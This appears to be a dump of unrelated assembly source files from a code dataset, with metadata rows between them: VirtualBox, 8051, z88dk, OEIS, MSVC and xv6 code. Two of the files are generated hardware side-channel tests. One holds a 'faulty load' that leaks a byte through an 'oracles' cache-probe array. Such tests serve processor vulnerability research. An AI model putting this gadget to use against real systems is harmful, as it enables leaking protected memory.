00 00 00 00 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 40.942675 | 2,999 | 0.638301 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_ht_st_zr_un_/i9-9900K_12_0xa0.log_21829_638.asm | 6,428 | Assembly |
Name: Net.asm
Type: file
Size: 1218
Last-Modified: '1992-02-13T07:47:46Z'
SHA-1: 648CD56CCFAA9D6D098A239E189C84B887FA6F71
Description: null
| 20 | 47 | 0.807143 | [
"MIT"
] | prismotizm/gigaleak | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/Net.asm | 140 | Assembly |
;; @file
; IPRT - ASMBitFirstSet().
;
;
; Copyright (C) 2006-2015 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
;*******************************************************************************
;* Header Files *
;*******************************************************************************
%include "iprt/asmdefs.mac"
BEGINCODE
;;
; Finds the first set bit in a bitmap.
;
; @returns eax Index of the first set bit.
; @returns eax -1 if no clear bit was found.
; @param rcx pvBitmap Pointer to the bitmap.
; @param edx cBits The number of bits in the bitmap. Multiple of 32.
;
BEGINPROC_EXPORTED ASMBitFirstSet
;if (cBits)
or edx, edx
jz short .failed
;{
push rdi
; asm {...}
mov rdi, rcx ; rdi = start of scasd
mov ecx, edx
add ecx, 31 ; 32 bit aligned
shr ecx, 5 ; number of dwords to scan.
mov rdx, rdi ; rdx = saved pvBitmap
xor eax, eax
repe scasd ; Scan for the first dword with any set bit.
je .failed_restore
; find the bit in question
lea rdi, [rdi - 4] ; one step back.
mov eax, [rdi]
sub rdi, rdx
shl edi, 3 ; calc bit offset.
mov ecx, 0ffffffffh
bsf ecx, eax
add ecx, edi
mov eax, ecx
; return success
pop rdi
ret
; failure
;}
;return -1;
.failed_restore:
pop rdi
.failed:
mov eax, 0ffffffffh
ret
ENDPROC ASMBitFirstSet
| 30.83908 | 84 | 0.54044 | [
"MIT"
] | egraba/vbox_openbsd | VirtualBox-5.0.0/src/VBox/Runtime/win/amd64/ASMBitFirstSet.asm | 2,683 | Assembly |
org 0000h ;
MOV P1,#00h ;
principal:
setb p1.0 ;
lcall tempo ;
clr p1.0 ;
lcall tempo ;
setb p1.1 ;
lcall tempo ;
clr p1.1 ;
lcall tempo ;
setb p1.2 ;
lcall tempo ;
clr p1.2 ;
lcall tempo ;
setb p1.3 ;
lcall tempo ;
clr p1.3 ;
lcall tempo ;
setb p1.4 ;
lcall tempo ;
clr p1.4 ;
lcall tempo ;
setb p1.5 ;
lcall tempo ;
clr p1.5 ;
lcall tempo ;
setb p1.6 ;
lcall tempo ;
clr p1.6 ;
lcall tempo ;
setb p1.7 ;
lcall tempo ;
clr p1.7 ;
lcall tempo ;
lcall volta ;
ljmp principal ;
tempo:
mov r6,#255 ;
mov r5,#150 ;
tempo1:
djnz r6,tempo1 ;
mov r6,#255 ;
djnz r5,tempo1 ;
ret ;
volta:
setb p1.7 ;
lcall tempo ;
clr p1.7 ;
lcall tempo ;
setb p1.6 ;
lcall tempo ;
clr p1.6 ;
lcall tempo ;
setb p1.5 ;
lcall tempo ;
clr p1.5 ;
lcall tempo ;
setb p1.4 ;
lcall tempo ;
clr p1.4 ;
lcall tempo ;
setb p1.3 ;
lcall tempo ;
clr p1.3 ;
lcall tempo ;
setb p1.2 ;
lcall tempo ;
clr p1.2 ;
lcall tempo ;
setb p1.1 ;
lcall tempo ;
clr p1.1 ;
lcall tempo ;
setb p1.0 ;
lcall tempo ;
clr p1.0 ;
lcall tempo ;
lcall volta2 ;
volta1:
setb p1.4 ;
setb p1.3 ;
lcall tempo ;
clr p1.4 ;
clr p1.3 ;
lcall tempo ;
setb p1.5 ;
setb p1.2 ;
lcall tempo ;
clr p1.5 ;
clr p1.2 ;
lcall tempo ;
setb p1.6 ;
setb p1.1 ;
lcall tempo ;
clr p1.6 ;
clr p1.1 ;
lcall tempo ;
setb p1.7 ;
setb p1.0 ;
lcall tempo ;
clr p1.7 ;
clr p1.0 ;
lcall tempo ;
lcall principal ;
volta2:
setb p1.7 ;
setb p1.0 ;
lcall tempo ;
clr p1.7 ;
clr p1.0 ;
lcall tempo ;
setb p1.6 ;
setb p1.1 ;
lcall tempo ;
clr p1.6 ;
clr p1.1 ;
lcall tempo ;
setb p1.5 ;
setb p1.2 ;
lcall tempo ;
clr p1.5 ;
clr p1.2 ;
lcall tempo ;
setb p1.4 ;
setb p1.3 ;
lcall tempo ;
clr p1.4 ;
clr p1.3 ;
lcall tempo ;
lcall volta1 ; | 14.012903 | 18 | 0.487569 | [
"Unlicense"
] | Mutanne/hiworld | eng_mecat_bkp/vhdl_microcont/Lab01/prat1/orig_3v.asm | 2,172 | Assembly |
; unsigned long ftell_unlocked_fastcall(FILE *stream)
SECTION code_clib
SECTION code_stdio
PUBLIC _ftell_unlocked_fastcall
EXTERN asm_ftell_unlocked
_ftell_unlocked_fastcall:
push hl
ex (sp),ix
call asm_ftell_unlocked
pop ix
ret
| 12.9 | 53 | 0.767442 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/ftell_unlocked_fastcall.asm | 258 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xc128, %r8
nop
add %r11, %r11
movb (%r8), %cl
nop
nop
nop
nop
nop
dec %rbp
lea addresses_D_ht+0xd0a8, %rsi
lea addresses_A_ht+0x2918, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $64920, %r9
mov $85, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $51834, %rdi
lea addresses_UC_ht+0xc850, %rsi
nop
nop
nop
nop
nop
and $58467, %r9
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rsi)
nop
nop
xor %r8, %r8
lea addresses_UC_ht+0x280, %r9
nop
nop
nop
nop
nop
dec %rbp
movb (%r9), %r11b
nop
nop
nop
dec %rsi
lea addresses_WT_ht+0xf178, %rsi
lea addresses_UC_ht+0x5bc8, %rdi
clflush (%rdi)
nop
nop
xor %r8, %r8
mov $21, %rcx
rep movsb
nop
nop
nop
nop
nop
and $59062, %r8
lea addresses_D_ht+0xdd58, %rsi
lea addresses_WT_ht+0x1d3a8, %rdi
nop
nop
nop
and $30208, %r12
mov $62, %rcx
rep movsl
nop
inc %rsi
lea addresses_A_ht+0x138, %rcx
nop
sub $1504, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm3, (%rcx)
nop
nop
nop
nop
nop
add $44066, %rsi
lea addresses_A_ht+0xb620, %rcx
cmp $9727, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%rcx)
xor %r12, %r12
lea addresses_WC_ht+0x4a38, %r12
nop
nop
and $7981, %r9
mov (%r12), %bp
nop
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0xab38, %rsi
lea addresses_A_ht+0x10684, %rdi
nop
nop
nop
nop
nop
and %r8, %r8
mov $63, %rcx
rep movsl
nop
nop
nop
sub $1129, %rdi
lea addresses_A_ht+0x72b8, %rbp
sub $28211, %r12
movups (%rbp), %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
nop
xor $52153, %rdi
lea addresses_WC_ht+0x19838, %r9
nop
xor $19643, %rbp
movb (%r9), %r11b
xor $48613, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_normal+0xf4fe, %rbx
xor $14869, %rbp
mov $0x5152535455565758, %r8
movq %r8, (%rbx)
nop
nop
nop
nop
nop
dec %rbp
// Store
lea addresses_PSE+0xe038, %rax
nop
nop
nop
nop
nop
and $39456, %rbp
movw $0x5152, (%rax)
nop
nop
nop
nop
nop
cmp $9781, %r8
// Faulty Load
lea addresses_PSE+0xe038, %rcx
and $48403, %r9
movb (%rcx), %r13b
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'52': 8011}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 32.607759 | 2,999 | 0.656444 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_8011_104.asm | 7,565 | Assembly |
; A020793: Decimal expansion of 1/6.
; Submitted by Christian Krause
; 1,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6
cmp $0,0
gcd $0,6
| 41.142857 | 199 | 0.5625 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/020/A020793.asm | 288 | Assembly |
; A158316: 400n^2 - 2n.
; 398,1596,3594,6392,9990,14388,19586,25584,32382,39980,48378,57576,67574,78372,89970,102368,115566,129564,144362,159960,176358,193556,211554,230352,249950,270348,291546,313544,336342,359940,384338,409536,435534,462332,489930,518328,547526,577524,608322,639920,672318,705516,739514,774312,809910,846308,883506,921504,960302,999900,1040298,1081496,1123494,1166292,1209890,1254288,1299486,1345484,1392282,1439880,1488278,1537476,1587474,1638272,1689870,1742268,1795466,1849464,1904262,1959860,2016258,2073456,2131454,2190252,2249850,2310248,2371446,2433444,2496242,2559840,2624238,2689436,2755434,2822232,2889830,2958228,3027426,3097424,3168222,3239820,3312218,3385416,3459414,3534212,3609810,3686208,3763406,3841404,3920202,3999800,4080198,4161396,4243394,4326192,4409790,4494188,4579386,4665384,4752182,4839780,4928178,5017376,5107374,5198172,5289770,5382168,5475366,5569364,5664162,5759760,5856158,5953356,6051354,6150152,6249750,6350148,6451346,6553344,6656142,6759740,6864138,6969336,7075334,7182132,7289730,7398128,7507326,7617324,7728122,7839720,7952118,8065316,8179314,8294112,8409710,8526108,8643306,8761304,8880102,8999700,9120098,9241296,9363294,9486092,9609690,9734088,9859286,9985284,10112082,10239680,10368078,10497276,10627274,10758072,10889670,11022068,11155266,11289264,11424062,11559660,11696058,11833256,11971254,12110052,12249650,12390048,12531246,12673244,12816042,12959640,13104038,13249236,13395234,13542032,13689630,13838028,13987226,14137224,14288022,14439620,14592018,14745216,14899214,15054012,15209610,15366008,15523206,15681204,15840002,15999600,16159998,16321196,16483194,16645992,16809590,16973988,17139186,17305184,17471982,17639580,17807978,17977176,18147174,18317972,18489570,18661968,18835166,19009164,19183962,19359560,19535958,19713156,19891154,20069952,20249550,20429948,20611146,20793144,20975942,21159540,21343938,21529136,21715134,21901932,22089530,22277928,22467126,22657124,22847922,23039520,23231918,23425116,23619114,23813912,24009510,24205908,24403106,24601104,24799902,24999500
add $0,1
mov $1,$0
mul $0,1000
sub $0,5
mul $1,$0
div $1,5
mul $1,2
| 192.363636 | 2,022 | 0.861531 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/158/A158316.asm | 2,116 | Assembly |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG5092 DB 'f1(%d)', 0aH, 00H
$SG5101 DB 'Hello World!', 0aH, 00H
CONST ENDS
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC ?f1@@YAXH@Z ; f1
PUBLIC ?f2@@YAHXZ ; f2
PUBLIC main
PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
EXTRN __acrt_iob_func:PROC
EXTRN __stdio_common_vfprintf:PROC
; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA
_BSS SEGMENT
?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_BSS ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN3
DD imagerel $LN3+67
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN3
DD imagerel $LN3+87
DD imagerel $unwind$printf
pdata ENDS
pdata SEGMENT
$pdata$?f1@@YAXH@Z DD imagerel $LN3
DD imagerel $LN3+29
DD imagerel $unwind$?f1@@YAXH@Z
$pdata$?f2@@YAHXZ DD imagerel $LN6
DD imagerel $LN6+57
DD imagerel $unwind$?f2@@YAHXZ
$pdata$main DD imagerel $LN3
DD imagerel $LN3+28
DD imagerel $unwind$main
pdata ENDS
xdata SEGMENT
$unwind$?f1@@YAXH@Z DD 010801H
DD 04208H
$unwind$?f2@@YAHXZ DD 010401H
DD 06204H
$unwind$main DD 010401H
DD 04204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 011801H
DD 06218H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 011801H
DD 06218H
xdata ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
main PROC
; File C:\Users\libit\source\repos\L027\L027\L027.cpp
; Line 24
$LN3:
sub rsp, 40 ; 00000028H
; Line 25
lea rcx, OFFSET FLAT:$SG5101
call printf
; Line 26
call ?f2@@YAHXZ ; f2
; Line 27
xor eax, eax
add rsp, 40 ; 00000028H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
i$ = 32
?f2@@YAHXZ PROC ; f2
; File C:\Users\libit\source\repos\L027\L027\L027.cpp
; Line 12
$LN6:
sub rsp, 56 ; 00000038H
; Line 13
mov DWORD PTR i$[rsp], 0
; Line 14
mov DWORD PTR i$[rsp], 2
jmp SHORT $LN4@f2
$LN2@f2:
mov eax, DWORD PTR i$[rsp]
inc eax
mov DWORD PTR i$[rsp], eax
$LN4@f2:
cmp DWORD PTR i$[rsp], 1
jge SHORT $LN3@f2
; Line 16
mov ecx, DWORD PTR i$[rsp]
call ?f1@@YAXH@Z ; f1
; Line 17
jmp SHORT $LN2@f2
$LN3@f2:
; Line 19
xor eax, eax
; Line 20
add rsp, 56 ; 00000038H
ret 0
?f2@@YAHXZ ENDP ; f2
_TEXT ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
i$ = 48
?f1@@YAXH@Z PROC ; f1
; File C:\Users\libit\source\repos\L027\L027\L027.cpp
; Line 7
$LN3:
mov DWORD PTR [rsp+8], ecx
sub rsp, 40 ; 00000028H
; Line 8
mov edx, DWORD PTR i$[rsp]
lea rcx, OFFSET FLAT:$SG5092
call printf
; Line 9
add rsp, 40 ; 00000028H
ret 0
?f1@@YAXH@Z ENDP ; f1
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT printf
_TEXT SEGMENT
_Result$ = 32
_ArgList$ = 40
_Format$ = 64
printf PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 954
$LN3:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
sub rsp, 56 ; 00000038H
; Line 957
lea rax, QWORD PTR _Format$[rsp+8]
mov QWORD PTR _ArgList$[rsp], rax
; Line 958
mov ecx, 1
call __acrt_iob_func
mov r9, QWORD PTR _ArgList$[rsp]
xor r8d, r8d
mov rdx, QWORD PTR _Format$[rsp]
mov rcx, rax
call _vfprintf_l
mov DWORD PTR _Result$[rsp], eax
; Line 959
mov QWORD PTR _ArgList$[rsp], 0
; Line 960
mov eax, DWORD PTR _Result$[rsp]
; Line 961
add rsp, 56 ; 00000038H
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 642
$LN3:
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; Line 643
call __local_stdio_printf_options
mov rcx, QWORD PTR _ArgList$[rsp]
mov QWORD PTR [rsp+32], rcx
mov r9, QWORD PTR _Locale$[rsp]
mov r8, QWORD PTR _Format$[rsp]
mov rdx, QWORD PTR _Stream$[rsp]
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 644
add rsp, 56 ; 00000038H
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; Line 88
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; Line 89
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
| 22.868545 | 134 | 0.720591 | [
"MIT"
] | zmrbak/ReverseAnalysis | 配套代码/L027/L027/4.asm | 4,871 | Assembly |
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Oki Microline print routines
FILE: printcomOkiBuffer.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 3/90 initial version
DESCRIPTION:
$Id: printcomOkiBuffer.asm,v 1.1 97/04/18 11:50:49 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
include Buffer/bufferCreate.asm ;PrCreatePrintBuffers routine
include Buffer/bufferDestroy.asm ;PrDestroyPrintBuffers routine
include Buffer/bufferLoadBand.asm ;PrLoadBandBuffer routine
include Buffer/bufferScanBand.asm ;PrScanBandBuffer routine
include Buffer/bufferOkiSendOutput.asm ;PrSendOutputBuffer routine
;peculiar to Oki Microline driver
include Buffer/bufferClearOutput.asm ;PrClearOutputBuffer routine
| 27.75 | 79 | 0.631632 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Driver/Printer/PrintCom/printcomOkiBuffer.asm | 999 | Assembly |
; A138406: a(n) = prime(n)^5 - prime(n)^3.
; 24,216,3000,16464,159720,369096,1414944,2469240,6424176,20486760,28599360,69293304,115787280,146928936,229241184,418046616,714718920,844369320,1349824344,1803871440,2072682576,3076563360,3938468856,5583354480,8586427584,10509070200,11591648016,14024292264,15384944520,18422908896,33036321024,38577241560,48259153104,51886159080,73436467800,78499282800,95385122664,115059286296,129887328144,154958714376,183760261560,194258315160,254187934080,267777995136,296701635384,312071720400,418217808120,551461987776,602727292824,629751383160,686707207056,779797613280,812976019680,996234813000,1121137918464,1258266006096,1408495287240,1461640407840,1630771771224,1751967717360,1815209496456,2159399730936,2727013383864,2909359942320,3004119848496,3201046546344,3973159545960,4346560012704,5030877784584,5177541268200,5481129230016,5963055797520,6657744075744,7220063837976,7819752837960,8241208640256,8907280657080,9861654390984,10368577120800,11444951163120,12914203958040,13225376027640,14872501208160,15220788994656,16304982901680,17061468872136,18248599958400,19933287050064,20821047906120,21276634305696,22211731319544,25215969716160,27393213029904,28536825472680,30938623251000,32198690439216,34165457089320,38387251365840,39129730483176,46343074418280
seq $0,40 ; The prime numbers.
mov $1,$0
pow $1,2
mul $0,$1
sub $1,1
mul $0,$1
| 137.6 | 1,252 | 0.886628 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/138/A138406.asm | 1,376 | Assembly |
; A152624: Decimal expansion of 7/2.
; 3,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $1,3
mov $4,$0
add $1,$4
add $1,$4
clr $0,$4
| 31.888889 | 199 | 0.526132 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/152/A152624.asm | 287 | Assembly |
_zombie: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(void)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 10 sub $0x10,%esp
if(fork() > 0)
9: e8 3f 02 00 00 call 24d <fork>
e: 85 c0 test %eax,%eax
10: 7e 0c jle 1e <main+0x1e>
sleep(5); // Let child exit before parent.
12: c7 04 24 05 00 00 00 movl $0x5,(%esp)
19: e8 c7 02 00 00 call 2e5 <sleep>
exit();
1e: e8 32 02 00 00 call 255 <exit>
23: 66 90 xchg %ax,%ax
25: 66 90 xchg %ax,%ax
27: 66 90 xchg %ax,%ax
29: 66 90 xchg %ax,%ax
2b: 66 90 xchg %ax,%ax
2d: 66 90 xchg %ax,%ax
2f: 90 nop
00000030 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
30: 55 push %ebp
31: 31 d2 xor %edx,%edx
33: 89 e5 mov %esp,%ebp
35: 8b 45 08 mov 0x8(%ebp),%eax
38: 53 push %ebx
39: 8b 5d 0c mov 0xc(%ebp),%ebx
3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *os;
os = s;
while((*s++ = *t++) != 0)
40: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
44: 88 0c 10 mov %cl,(%eax,%edx,1)
47: 83 c2 01 add $0x1,%edx
4a: 84 c9 test %cl,%cl
4c: 75 f2 jne 40 <strcpy+0x10>
;
return os;
}
4e: 5b pop %ebx
4f: 5d pop %ebp
50: c3 ret
51: eb 0d jmp 60 <strcmp>
53: 90 nop
54: 90 nop
